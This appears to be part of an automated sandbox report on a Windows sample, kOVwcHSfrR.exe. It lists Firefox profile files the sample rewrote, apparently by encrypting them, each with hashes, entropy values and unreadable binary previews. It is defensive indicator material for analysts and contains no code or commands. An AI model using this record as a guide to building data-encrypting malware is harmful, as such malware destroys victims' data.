SHA-512:	2BFC9D25EC885C04EED8D938429B92FA838C2E17089C48418CB05312053B1991A1BA02B47000F907FC654A9CEC2F69672444B10ECB880CA324AEFA062A06829F
Malicious:	false
Preview:	{"seso12...F0..`hlum....}....$x....<./...KN......(g._...1h...i....#$ (7..w.,g.$....EE^..8CM.q\|b.T=,nc.T..8N.8.;,..).?u/.2..V.d.a..b..k...#PK.F....."......u..gn....R.Lc..4.._.\|.&.,..:........ .T.3.zR...Q0.=.'.2."...............6.8...^0(@.iiR..H.R\..R.....j..1.F.wJ."..}"j.....Z....; ..W.._B..~.zuP.F.Z"QbH.H.....H......\...?N9*...S...~]..w..F.h.P."\..6.=..BjWn.J.sUJH.Hk.....M....t.(..\|.x..QTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\datareporting\state.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	385
Entropy (8bit):	7.362269142452129
Encrypted:	false
SSDEEP:	6:YGbR+OKs3szt4iafaA8C28mQoh5ysKON9AuAs7nnAbowfw5XeWcii96Z:YGbR+OKs30ay1/evON93Wboqw1cii9a
MD5:	F7AB23BD9AE98C8B05FF30F8CEB28A2B
SHA1:	F4C7DB3C879B354E53F4964DF7D2C453F145D7C5
SHA-256:	8BF6697219746020FF59C08DFB0A87B52A32E0C54A1A4CC367EA91A10BAD48E1
SHA-512:	C4B1782CC41EAB522788DD36D038097310429532D76CB23B56A3856C34424AE1D302A0C27A288CADFA82A20B4FBD6965B2F75BA9674F40F2DE6FDB932A5E4BC9
Malicious:	false
Preview:	{"cli....P5@..?5....[.%.&......K.G.. .ON#.Q.o..qp..5...z.H......,../...,...S ...&.0...o."...."...3$H...'le~..^]....PeM..<A...d...>uS...?b...fs..&.<..\|nv!.'..:]......r.<.....swn...fO.b..JQ..?..Do.;......Z.,.@...4.!a....KG]R4..4J4.(..1.,:<....}s.?......X"....."Il.a...'`.]ii...Tz..F..a....~..p..2TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\sessionstore-backups\previous.jsonlz4

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4668
Entropy (8bit):	7.961908083354827
Encrypted:	false
SSDEEP:	96:Dlp+xz8LM6jGKoam+W7ZRxuOt9EEx0ovjVjuUJoR4pOmFa:+p8LHjHoRj7Z55x0AVjuUJ9pOmQ
MD5:	13FE29692BA32F86A23B42419F483A7F
SHA1:	EDF442B189D089D76E2FA41FEE0B272CDB53D412
SHA-256:	16F1496A25108B8DCDA3F004B13ED3D82E792442E1CA05B94FD352A88EF6CCDD
SHA-512:	6114CDFCCD63894B8E0EF19B7B161F1566FE2A15ACD9ADE462525BA466B3599C80021D290D46BF84E05A68DE5F405E8467652723388040591AC1CE344E3B891C
Malicious:	false
Preview:	mozLz.wL..[...^..'kA..(.?R..L.#4.......z...g;.3T\O?G...s.d.^P.n.S...L.Bu...(yq...%..0...=..F.......".C.Z...p`... .Gre.}Tz.O.#.....KO.s.<.y....nf.D,.}...~.....6. o.p...0{.4<6.<.r.V.+..T.....w[.P5 .~....8.H...P..KE......J{...9.{..L2.#.x.\}}xr.T...g+..EN~...wQ..P.dj.xhJ..8.BQ...B...p.0..?.....'`...J........#..A'.....s++...r.L...@.=N..q..:h.o..I.D..>..\|... ..}3..S........?.V7.D.....-:.......v'....-.1...?We.p.[...TB: .Y....s.../.'.3aGO.c.....[.m..N._..Z9R}......On...q.T.}4_.....Ru%.i.t\|....9t.Y..Z@...]t........M....?z.6..n.%..&VPyn...P.W.1....>..{. .t.m.P.........Wi..0..-..`=......$b$...o..Y........C..4L..T^x...;..G.....:d._!.g........2..2=@9y.p......P8i......../U&..A0.G..q.J...P.s.[9..u..Y!?.f.s...bD~q.....Ml}.....z6....&../[.G(.,.8s..=.............." ./aj.^.2...E.Y:B..Lp.........w.C0........,dMR........;MJ7....Zf\|j.>[..jp....]...o...$.UP./.*.%.>...2X 1..+..3l...l.U..........qK..L.X.2f....bE...Ylc.%.....2../y..q....gE...bEA.O..T......T

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4668
Entropy (8bit):	7.959591178352164
Encrypted:	false
SSDEEP:	96:78Dp937tLoqdvyy70rl7sa/dgm5tBmnBGSLNJxdQDqxrS8xpYLt+6AOVEE06VLa:78VvLoqdvn0R7sa/d1E3L9dQDqjQhRfG
MD5:	AD08B2AF232D8ED2E8749821AAD32BC1
SHA1:	F4C793A54AA34AF1021061E57390562E08676FA4
SHA-256:	EA8A48F352D6CE580D2AECAFBE261DFCBAAB619AAD90F88FDEC50A40C000FFCE
SHA-512:	FEA5B9982CD72CC14136FC041826C331FD13EB29D1602C4A3B6DD01A34BE63ACEBA4D7954622CC9BAFBE07DF4EB9FB7AC9B712BA882BB6858256E3B72833A80C
Malicious:	false
Preview:	mozLz..W.Q* 5B37...Wch........<l...=44.6..l.R...J.<.~~...m....wm..o.%RO f......L..r..j.<.n.P.....0.....W,.#..V.g).A.M....`w..n.d;....6....p.j.....wE..).._CQ..c-....C.U..k.1.%........_.wy.m>...........o..."....X..P].(I..).m...a..c...x..k..2.L,.(......Y....d.w..ISQ.9.y....#Squ.L....\|.@hi...........&.j&~.B...$._.k.hc":@.`}.Q...Q;@>....8H..[.(T.sS.%V.N.G...G.O.J.h9..{.S...5.uo]U.y.3..A....[........].K!.Q.p[$.U........p..8....1. ...j..;2L..;u..@........Z....\|.V..fd.G..q.....m........q.....@.. .;.[p.ct..Q..q.n..&(.=&5t{..7..N.T.....'...Q.YS.......>....(V.nO.h.?^G..o..q/...C....CBz......Tg..v._.......=lm.(..9g.!.77m.J..L...2.T.&.RH.E.,.Z/0....L.'.^U^a..F.<..j+w...kN.b.l.E..3....-D..' .B.n.@.O.<..C.- ....F...[..Km.$..".[.tf..!..&.jZ...[.Z.. tX...Y..?E...\|..n..VRw....@..c..<.R..Q......N-...z..j.{.6C..u..._.#...i74.E.s.....5%I........(....o.4_..Y...28.1..hU....'...`.r..l.2ik.....WZn.M!rf..W....f}..`..O...-.>G(.M...R....~I2..J.........c....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\ls-archive.sqlite

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	131406
Entropy (8bit):	7.998676578329222
Encrypted:	true
SSDEEP:	3072:P6lyc+GRToRdNQfMTZOjUah8ArEQ4FZzaLT4KdlP6o9Dbb:O6aKsp2Z+L0KH7b
MD5:	79536BB3B2ACAB57AC37D67F135199A9
SHA1:	0C7778CCA99C060D75471FBC2467FC5269EBA5FC
SHA-256:	CDE62109A3CED474F894E993846A57C8CB40C0DF25C52A8C6ABF39BE2565418F
SHA-512:	F93C3B17C232FD182470E80718907548E2CC4D1A843B6F066B0A6369E3F8B014F5B6DBE3613AD43E13C4C51D66F9297C0FBB56619A6857E660E98BF727666F22
Malicious:	true
Preview:	SQLit....$.7.f.r.h3.F=.i.2.b..A..&#+....hc#.Y.J..."......U.d.!.7.>.A.A.4 ..M.Yb._.hZ.J...pN..Du.".}.\..4M...Y.z...[R9O0C....^.... U..T.<..n..P.6.......O.2bx.H.\|5...@..3><.....q..yY5...UB3.....I...O..'.I9..L6m...r.=.I...rpB&.f.0....US....".....D.#..(....Rd..,3....wn..>\|..)..w..d.5...1.[>..Nu..b..O......c?x......N.E...`mP)%\e9.U.C...4......TT(..f...?".....s:.E\|......z..9.+.+& .$....j.M.4~...lS...~.T}..=HnY.q...a^.-.M... .cU....s.....?;....e...u.z..=....I.p5cH.=.oC....'u2..).\#..N...3..P...Y.".....y...X..F?U#.....Y...B......]W..P..w....r..PmA. X-.h.........7..b.........=.....[K>s..-u.%k.%c...K..?.1.A....3....;...`.-S7\|fp{}.D.@.&q..WB....J.R....H.B......N3.Kv....6@oM.x/.c.Z.E1G.i........QgV...3.........?.qL...g;..WM...RQ...c.......C.r..3D.(c.6~.x..<2DD......n.YNS....VK<=.....w$.L.......... .....y&;..?.....A...O.....z.A.c[.<x...H..~......?...16T...{}...O.T..b...R0.c.c5S.v-.=.B+..DWp......ll.7..~>c^7:..AK..."I.....)..+..w.ED.....R..&3....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\.metadata-v2

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	TTComp archive data, binary, 4K dictionary
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.367516877081678
Encrypted:	false
SSDEEP:	6:v+xkl2cag6teqqzNkSKRDmyi/OtqIxvAEoGxhB/ani2hRkFVy8maUdYs7C6sowfa:mKwcBNMmyLjtomv4Qy8maUKsm6soqw1X
MD5:	A6BA3067F03FCE30CD8AE94B01688B15
SHA1:	A48D629E90D3D825D3D2A021F92D8DA277168CC1
SHA-256:	409088CFB5DB6144ACF5BE1CA19985300BE0FC1E9FE13993872B12E05D191E99
SHA-512:	40E1A4FBBBA097A7DD9F58FECF082D2E3A2ED4BB4035FBC4A968841B4D4249F07464D7F5322936A723232139A6F48355B03966FB9A168B7A3938F8BDF03E3A2D
Malicious:	false
Preview:	..........d...........,1.r-..K@:.N.V4..?H2.....lqNr.....e..Y....yq..=......:.MR1O....y=..`.aV.<....c.k&...1F.g.'/.xH...b.H..F..&..w#M.dV.....CA....L.....;h....Z'.......]..4}-.~.......4t.D..+.....n.W...E..E....'..#......g........>e..........}=(m)K....;w..W..+...6..{.8._.).(..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996679894892322
Encrypted:	true
SSDEEP:	1536:8dRdsdMejmo4DtIPlZCpHpg6H0ResLJUJLkJI/osFL:8TKydZIipHowsLWLWOL
MD5:	06CB539D79EE0686E7AD7E2B104F1A8B
SHA1:	6E6E2BBCEA74D8CF37479A836AF56E8B20FEEAB9
SHA-256:	54A30E830D711B8C8DB301F4F32942D4F2B4A4967ED275C6CC7CAD179D278D7B
SHA-512:	CC365EE20A08FFC66933A7E346BBA1116A71412CCF6DD068DDE4C0A8C275E51086E79CF13ACB25A6A267744BBEDAB304A60A032FEBD0D3A1DB92FF2E26D8BE08
Malicious:	true
Preview:	SQLitW.a].{z....u`...]......[.0K..!..\|..9...K#.72.\|.j&O...}_).X.8..n.x...MT'.).Mk...<.72fX}........<Y...Ym....:Z.4.Db..~.TR..v.`.....~.p.@.X.@..>HL.H!SxI..H.y0.-gx^.h3^....{..d.y.u.8vv_h..y...c....&=...R..../...,.-......bn\.G.lJ....?....K..b..[.....CYv......F.C.o.K.."...S.2.b....Ax..L.\.I....__..'...xU...i.Tto..(..j....R.....k-...w.&....=v9...uP?...8~.S....tRMn...@2..n..1..DQA.. .\|...7..#..,.71e......_....g_.<. .g.y.L~..f...E.$Z.\....@.....\|?..8.=.........L.......%E.....l.MS.e.y....-x....M7.`...+.t.@.8.k-h..`...C...~v6...C.r2.....g.p.)....f....{........7@(.e. ^...e....#/...W\|...l..<..2....j...YX/..:..o%g.....\.go/.......V...\|.A}....y..(...<_...P,......C\.<.:......g....P.}..Z......(VS..X...tu.....eK.Z5.=.a...m.v..p..o.:.......}.d'.X..m.0...cY[.e.6.C.......,.b...x`..).....o\A..v....7.z...E.......U..9t5........6.m..M.Y..#S^.....n..:..".._..r.L.. ........-n_k.z.$S.&P.......9....E...cZ.."........3y.%Z%.(V.OZ.<.L....%B...!...y...aL

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994638391806899
Encrypted:	true
SSDEEP:	768:v7xrEkAHJd9mtBqlgPwquXLZDavt68gq7J/6vZ3nFwElF7qZ:v9EkgJd9RlXDavt7gqN8N5c
MD5:	C7AF20A3D40C1ABDCCD8517D021F2363
SHA1:	AE8EDA2B29C2B401825AB2CD3DB8ACAF15737568
SHA-256:	85D857B7F7C8F7720D1336BC1EE5BF9E3057884486046415B7C347877780A5DB
SHA-512:	5E11685E8DF1BC286F83437E310CFBA38135B782A03B83B5CB8A8C0586A7CE49CB931EB47AFF64485DB2740B873C2848739575C6CCC71B3A21BCA33AC6D68622
Malicious:	true
Preview:	..-..U.(..l.L7.ms&..?>.:..G.&.m.U..%.....%".. ..L...?..5K.....s......N@.....t?>..M.31c.........w.....-..H.Z\.F...L..b..ib.i.8........YO.g.`.g........\9b.2.........F...-..m.t..2...E....[8..$..5.]&FIc..\|.7y.J.....m.9Z.R.8h...(!9.;7-..y...c..2@+K.....so....}....T..9G5.@...,h...e.v.!.`.p..s..'.S....dm&e...O.......g.......E. Q..14}d...k.9.[... .4.;ca.wX.Q..S[6..&.....0.>..0..{m3._.e.R.&G..=_X._.I..@L.z.D..X.Z....oI..f..............N..^Y.<...ys.$.xj...#].H..k..a...[.N.g ......0....D\|C.o.I...:"......A..X5?..qm....B\...P....n..SR.T.x{..Tz.<../Z.SQ/.'y@.K{.C...-Rz/..-_.u7....S....0.....r..b.mW..su.DB...\...sN$...M...6)!.!....AV...Paa..5.......z..z.......0.?.q...polN*c..0Z...7.v.e".q....0b?.J.ZF.i6~dc2,'..>../N...k5.T.7=.tj.....%.n._0.....)....uaU^}.C........#N...h.?j..8x.EP....Bx.......f/.>e.1X%....n.-.....b..t.F.L.1.J.Om]fy...@>.......... Puz....^...'.;i...Iu..D1.}s......t..y.v.u.....^.~.......i......s..t...f(..G!..'..8....Z.Z.9.t

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996388270261785
Encrypted:	true
SSDEEP:	768:A/XZODDL73l+SD2pCUuihSCtJWiSi63LMERvd1ZbCL/wGmpfOijVT4xSe:g2DM5PNBo3YAlDC8FBOijC3
MD5:	86E5F83B049EBCD669129437D0D28BF1
SHA1:	5945597E3DD43BCFFDEAF92D228F654FA9E48006
SHA-256:	7A3F05975F17A5DD00B0CBD0CBBFABF429BA5CD1E4FA99C826E6A9392A2383D5
SHA-512:	46671685C9E63F0379B532F7A76B7DC24C592ACD18329BD227133C4F9A176CFCFDDA03BDC3FC9D04F8A03167E38B5BA2A8D3E66FC6AE2F66A2D396EFFC11F0F4
Malicious:	true
Preview:	SQLit.TBj...qs...=.r.......1.x...3./.o..=.....Q.,.k...VH...G6 ....Yo]x....L..0\|k8C...d.N..?.x.O.t....VF.Y..........CT..4`...3N...~.cK...?.3&aC.....3.6O\|/..3....9>.)$>l..1...OJ....$.&".~...M67i..<.P....1.r\|..`.4h.qK...{>.V...%g.~0n"...>.m.-b.:.M....O.7.%..#._...=.,9..}$...%y......#....{....8..D<.gK...\|~.^..p...._I..XX.:......!..L../...a._.bnMC.G....e....(.......[A3..HK.>.t...H~..G.~..Z......b...............SD.l@..I......%TC,.J -.I..N.x...o'(..$..`.8."Ig.Qb.?.GF.>W..<..........b\.n..c..L....]..D....{.<.I.}.xS......xm..^l......D(1.?....F..<.3K%..\|..N...[..ng...+.S\|...p.zR"(n.J.......~..L..:.F...v...2.8:(...p..C...ib..1&.../Hk.E.{b....O$.'p.)..._....N@Ug.(%D@.b..khU..q...{Ys...).2..x..e..V.t0......B..@........b.1\|.q.&....\|nY.:VK......L..u.ef...G.%U4...f..&..W.7...n....Z......O...Q.soq....<a.s..../!0...T.../.&I.Uf.?6W:P*c..'.(....4.#. ..E.(..<@.n..g]O)..8F/Kq..^cOH(.....\|P...w-j....2..].S....`.nL)..[X.i.?.....k...c....f.....S....0..=..y..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994751030330278
Encrypted:	true
SSDEEP:	768:bnVHZBKOD21xSxmFq86LAdHDCNsxP1AITHEi/u5h:Z5kOK1UmFr2KWNk+ITHEim5h
MD5:	A1341C3449C178CA0A85E282CCB4082D
SHA1:	5EAE4391E366ABABF9A1DF6E77717137A851CF32
SHA-256:	CD37B0963FB972BED9EAB903C93215937D5B3815DA29A9E96E6892A4E10C2FC3
SHA-512:	F3F67704854DC3844882F91F52F25BAFF7B0804BC6FD7DCE91B35D71AB7B5255AC98A9FF38BA01147039075FCF595AB1A11CC3DD1D186E65CEAF9CDFFF48C8DF
Malicious:	true
Preview:	..-..c.......h.f[.xn......#......k.m6J.,.&..^[....Q;..~..1..7y.HA_i....n.d.J.h..o`.....3.J%r.........c._.Og.AND...q.....bH...:\|.].Q.[....`..b..X.9&.%..t.......#^.)...<.[..../.....?....Q.......Q.[.A.~.r..+....(..j*..e....t.[.....A%`.ZO.(..T....!.....Eb&...4.I{.lD}X.%..f0.c.......~m.Z./..54.j....n...y......k3mLW.....r..b&.]...y.S..!]Q....v@&8._.q.W.S...!..j.\|a.S.s......C..d.u].m.q..A.A.......I.O..h.&,.@iN3...2{w1R.>;.C.w}..Fd..+x. ..;.K5......Ao.....@.Cf..`.E.s.E.F$j..X7......-..>j..m....E._\|%I../..we..D......V..fS.r\m....\|~\.x]I..`....F.Xb..]R..T.=]...89..Zc..O>......)...v..a...>..k\....Z.y7m..5]R.3@..>....}N!N........>Yw2......D...4..u.=..........\|..6bxH.R.U..v.H..L..c....8.M.y.DkB.aS.T$tqT.yZ15G.#0....O2.vi........'[....f.+F.z.<+.R..;...+.'y..{^N.\|..t...1:..y.g.I...-B....G.{..g......&...0.tT@.s2.. ...jy.....Lq...yv!].oc.H.E...`..1..?.W.I._........6...e.s4.....{......4..pQ.....y........6P.F. q...@.....$l0Qg$......GbK.;xF..R.G!..3..]...P?

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996423572841567
Encrypted:	true
SSDEEP:	768:rK1CX/hFLZTYx7dSOLOTIiSmUsZ78IduYO8iBh03De65n6jCC6eFO640VaFgw9Gw:C+rexzOTIDmNx8yhi4vclFZatGw
MD5:	E1305E7C85CE72C4ECD8B139DC922047
SHA1:	08AF766F1DA358F865567818A3EC053A3F1DD378
SHA-256:	A404B15DB8548BB25A390471EEF83C94319B49AC36823B3732CAD2B88DEB23EF
SHA-512:	03ED8161E077B2AAEBD8F732956FF325EA393B1B490A6005B5B0D99CDD00BA24272A631D9A4C362B659847A2D670F42311D8CF54E69794607028A902C482AEA7
Malicious:	true
Preview:	SQLity'XH..e..+.{.q..i.<X.Hop':d...MUq.S..s.C.L.F........%,d....!y..r....Nut.KE8Q...{..5y..&w..[...t....h<Q...v.&q1V......TH....,...)U.q}.k...).....^.n..QaW/.~..+}m.x..b2...O..b......n/.....x.].g..#....8.\|......9.[....f..$U...}m(t........l..e&..,.._V..../.8.!..o....<P.....nj.B..NQ.Fw.....:;/../R;..M}..JU....a.m...`..5.)..&....dnf...\.EZy.-v.cY.P-j....].teP.E4.L..%?...>2..S..tV....._.....u.....C....m:..U.......r.....?7..y."@.9/.....W%"..o...I..i.D!..A.fH..3Y....C......oA.x..K.odK.[..j.<8^?...A..@3o^...1{`..A7.V.<.a.4....{.W.....6..D.\....j9...&jy.'1lM....S..nY..7.....I."...B.../..A....j.B....j.H.F.....v ..H.)"v@............H...;?v:2M...U..^.Q.`.w...3..Ujc}..8.Y9....%.a.Z.a.d[...%1'(`.r.5\|.E.=9tV..R..~.t...nt..%......a.$....?....F..{..47t....w$V..}].t"M..!..~.......>#....S..._.3lA.=....'2.....DIb.....1c.~......q..H+...bN.j7.. .g.I&..<.J"[.f.....Z3.2.....:.tW-qP}....*......vn..\|L..>...6F..._.p.P...w..u...l\\D.....pj.{...S.f...YL.d.x..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994656132024753
Encrypted:	true
SSDEEP:	768:64PCj5ByDNSNPnvs1/bIpyM6c40vVdOw7fubA8b0h55ocG+p:6COPyhSNPn09MUI79N7E0hwcB
MD5:	B7288F1D2BEE5B990A994D301DA9BB17
SHA1:	F1195F9875124164A1054171640385BFD1C57433
SHA-256:	E1EC162B50643104741A8729809884314DC07751341B5104D7EA3BF1F0C45AE9
SHA-512:	CA1D210349B27E79A90BBD9F98B789C30E96F6669638A6E33B604F7F8775830FE741C0602567EAB1946F099DEBB41F3DD054BDA93C88F1583311CA38D2A76333
Malicious:	true
Preview:	..-..-ZR..!f...o$.@.i.f..D..E=....l.....M'..h....p....>.....Z...4..gR.Y3....L.$w...; ,...e...6./.....'...a{...../>..n.)V.g..I%\g........H.....[.../$;k;.,..m.>x.....%ok..q...e.>....S...&x..~M.w....\k.wN5.D.l..........{....ep..x.....7..x..!.(.B....V.a..W.....2[...A.Z5..%}....a..&X.')_.1J.)..(...^.2cq...40.rK.;..YM.$.......wl.Y...mnU.....Y.Q.......V.P.NIN ..D.?.]........s+.[.~v...My6p.`...^.t..'.")........~.....~R..=.m...Q...].......9...../$3-..3..W%.O....C{...C3=.J..HA.s..J..^.-W...it..Txz.G,r...c,......gv/...&...A/@.B..j.j.f.N.'KGTTb0..Ft.8./..B".C.Zg[n.]li=........um...b....ZJ..1....!..B{.X..c..0[7.y...p.i......O.T.Bd....<.Wv.ed:r#,..@^8.m.Hd.$\|.).s.."li....Z.d....]2.{_%....'>.....+?#_"..g...s...4)y.Q..a..~G<.1S....+s.#}......Br..{.P!.....k.e...7.I.........5...\]....-.O.H.....U.,.3..e....m.6qX..-.O.k.o.. j.".B4+.0%`.V.u.&.=>..F.z.....d..D.E.eS..iC.{.b...f..e.......]S.&m8.T.uW...2...x/..cX....Z3..;A.....z.%...+...;..zd.(..p..>(j.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996346115699043
Encrypted:	true
SSDEEP:	1536:JI0salnMdS+0SyHzjkYt9XL6d/ZGPbDJzsS6AwbhMh:eglnMZwzjkOMd/ofJzsS6lWh
MD5:	2A38EB4BDAA235623621DC06185DBD7E
SHA1:	115F3A0A66CEA1605C53BFBC4568DAF732C27B71
SHA-256:	E75A0677B6C9B671D3C326EE3EED4B5ABCF18A875F6D3676356524E8ED824ED8
SHA-512:	A38085CB28FD22B5AD86150EB84EB75F952B05E131FC4AA61B0A712B9B7086819D2BD2EAC9610FE825B19F7A89D4C99758318222F41CD89F1E622B0352CAE2EC
Malicious:	true
Preview:	SQLit...0. 'D..i...b+f.\.K&1.j?R....;.. o.[8.jme.t...5..=.+.K.Z.5.k.l\|.D.A.S..%...r2....!....f....?;.Pr.p....z..P.c..Z...oe.i.....46..mU$r.X5q.3O.D.5-i.:l8....3.....p......Y.JI.A.....+z\|vV."s.O...<........\|....K+>......-..v/..h.....I.D;...E..b..J....3.Ba.=....)...{N^B..U..0&...wB..J.W.....y..`.Ou\........"....f.:..'\....z..J....%..f."..c........M....dS..6n,.3p.c..((s.....7g....).nZ....,l.R....3@..(.X..p.vf....i<....}f...K6..0\|c.m{.$.....i@..{.\t.B.;.hA...Y0=......R..L..\|........K....S\...0....3.'m..'N\.n:.:..c...........e7.z.<.....m..F.o..H.=..9w5rpxQ.3f.....;...?...OK.a.yp.ra...;R./..^).krn.,ny.Y.... .`.9$ml......w:5.TLxC..O....).,....g-....m...P...Wq..Z.....I.............E....2.-..6.`.[..).xC .A....hg:...P.yY. .~v....q..I.7.c........{.EF....E....y.}...\|.*....W:8L.!5U..c.iY.........'!.......R..s.....U..q.8..../&...FhS.N......."#9..gjY..Ch.$.....`.....`M.I..,F].X1..~.../..`.B...}..F.].~H.m..\|B.<:Z..A.#...vfn......b.}Y.+.?

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994495628867468
Encrypted:	true
SSDEEP:	768:ksGjGmWKk17J0bYHIG5s5Eg+Uc4ehBekfiVgF26ERlTe4L:Eyz17JYSA6BU2jpFsp
MD5:	69FF8EE19B99B90C3272345D32642962
SHA1:	48624D7C94C40C825AFF8EE9E931011E0789288E
SHA-256:	4B781FB2AAF4AE269FCAFFA636DDD11FD5A5CD8A4F402D23E0547E487B892A41
SHA-512:	84441638F755CB8ADAC6E3B4727096FE6619FFB0C230C36A8E413A5091F52DBB4BC75E83DB8702D7C70F5309F049D99BA0AA4FA9B871D8F977C70685ED1509ED
Malicious:	true
Preview:	..-.......5...]....Bir..../...j2....K.e.....l.js+:LaxT..^.`>.....QT../........&....w.%=...QT.d.:o.m..f...........2g.7..hzC...t......6...R1.t..P..\P....v.A..]........n=.)}.....C/.L..r.c._..f#.%........)..1\|...}.H..%i"....H_b..D. ..z..\|..Ds........+..;.{..y.O\..gD..7.<.U.6..Z.3......#M...%3.0`..!P.y.;.....3...;.{....P._C>.........jb.ic/t@..7.B`...3V.._U.....E.dv.S\|{..}.....n7dl....&.i....:....w.A....!]RH....A...".Xm].C...s_W....%3Kbu....G..0,..w...;..+S..^p..x.d.($..X..V...YS.]i.[..6Z.+.^m......;3.O..W..b...%....J.....n...xrF.K...M.Ga..n...9.........K.#m..w.........of...(O...q...f-.I.7.lc^&}<.,.......t.A.8mF.]...&hd......2.......V..9...Aj(..WF.....9..d..AO./.^U..8..&B......D...[.....p7..B..$07.\|..y...4........<..f....Mq.=T.s..ZN...fo...V.<v...#1.FQ....ln..1...V.......?.S.?i.-._.,.Q~.P.)V[.?...`o..t...95.vN...[.Cx.vZ.... F...b._.&...9B.6...k[...........n..N..N.%.u.........m...aT$5....S.~.=..E..CZ..g.Z....D...Z...!.?P......F....G.F. ....x..v..f...)E/..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.995961029039836
Encrypted:	true
SSDEEP:	768:rRayqn01AJSCyYz+K/pV/55xQRqRbzUX0KOaSTPGNcWbHITnONF0vnY3SazlXw:rwyqnUAJZFliqFzUEKFEu6WcjY/9w
MD5:	BD19298C57871068CDB33350C6DB91A4
SHA1:	A29461DB946C8CAB02AAA7BB8DA9DB027F148652
SHA-256:	DF77FE5114E96E182AEA7D6B332904A9453B7283E6A7FC82C6CC639E2CCCB7F9
SHA-512:	E3CE2F4E2817723BD5CD387EF859B4AB8B0BA0678CAB5C33F6B3CE401E8354AD12FE628BABFD157933E56EB4C645433AF61F0C4502FD7E81835940D5487352D6
Malicious:	true
Preview:	SQLit..}x.O..\|V..y.....B....U'..F.J..1G.[.f...Wj.Q.Mf.(.......,..#.6<Cm.(...RDQ..fIL.6.^.b.6.Rm.........[ey...sD@y..Z...JS%...F..O..bd_.gemJn.F....,......?VZ.(.O'q......(G~...2........m..0....a.$.+y.....*..t3!.I....J\.^4.0t.%N.5-.p..Q...t/2.D....aj.~?1.'.T:.o.U....A...Nh1.B.. .M..!?..f..}..mT.p.;...ak...p...;.(8..6..&....P.>MifF......n.I#.E..o.7:.m......{#....D.%.=.kk^.t.$.C.....x8.'N...U......o{.~......[.f.....<..Aw."..!.H.5]....U.........%Y....K. 